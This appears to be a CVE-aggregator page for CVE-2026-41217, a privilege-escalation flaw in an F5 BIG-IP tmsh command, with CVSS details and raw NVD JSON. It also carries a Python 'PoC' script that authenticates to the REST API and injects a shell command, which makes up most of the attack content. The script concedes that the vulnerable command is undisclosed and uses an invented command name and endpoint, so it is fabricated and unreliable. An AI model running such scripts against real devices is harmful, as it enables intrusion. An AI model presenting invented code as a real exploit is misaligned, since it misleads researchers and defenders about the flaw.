Security Vulnerability Report
中文
CVE-2026-41217 CVSS 7.9 HIGH

CVE-2026-41217

Published: 2026-05-13 16:16:44
Last Modified: 2026-05-13 16:27:11

Description

A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
7.9
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

请参阅 F5 安全公告 K000161107

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-41217: F5 BIG-IP tmsh Privilege Escalation # This script is for educational purposes only. # Requires: Admin/Resource Admin credentials import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(target, username, password, command): session = requests.Session() session.verify = False login_url = f"https://{target}/mgmt/shared/authn/login" # 1. Authenticate to BIG-IP auth_payload = { "username": username, "password": password, "loginProviderName": "tmos" } try: resp = session.post(login_url, json=auth_payload) if resp.status_code != 200: print("[!] Login failed") return token = resp.json().get('token', {}).get('token') except Exception as e: print(f"[!] Error during login: {e}") return # 2. Send malicious tmsh command via REST API or utilize the CLI vulnerability # Note: The specific vulnerable tmsh command is undisclosed. # This example simulates the structure of a command injection in tmsh. headers = { "X-F5-Auth-Token": token, "Content-Type": "application/json" } # Hypothetical endpoint to execute tmsh commands # The payload injects a shell escape to run the command payload = { "command": f"vuln_tmosh_cmd '{{ | run /util bash -c \"{command}\" }}'" } exploit_url = f"https://{target}/mgmt/tm/util/bash" print(f"[*] Executing command: {command}") try: # In a real scenario, the endpoint and payload structure depend on the undisclosed command resp = session.post(exploit_url, json=payload, headers=headers) if resp.status_code == 200: print("[+] Command execution likely successful.") print(resp.text) else: print(f"[!] Exploit failed with status {resp.status_code}") except Exception as e: print(f"[!] Error during exploit: {e}") if __name__ == "__main__": # Replace with actual target details exploit("192.168.1.1", "admin", "admin", "id")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41217", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:44.340", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 7.9, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000161107", "source": "[email protected]"}]}}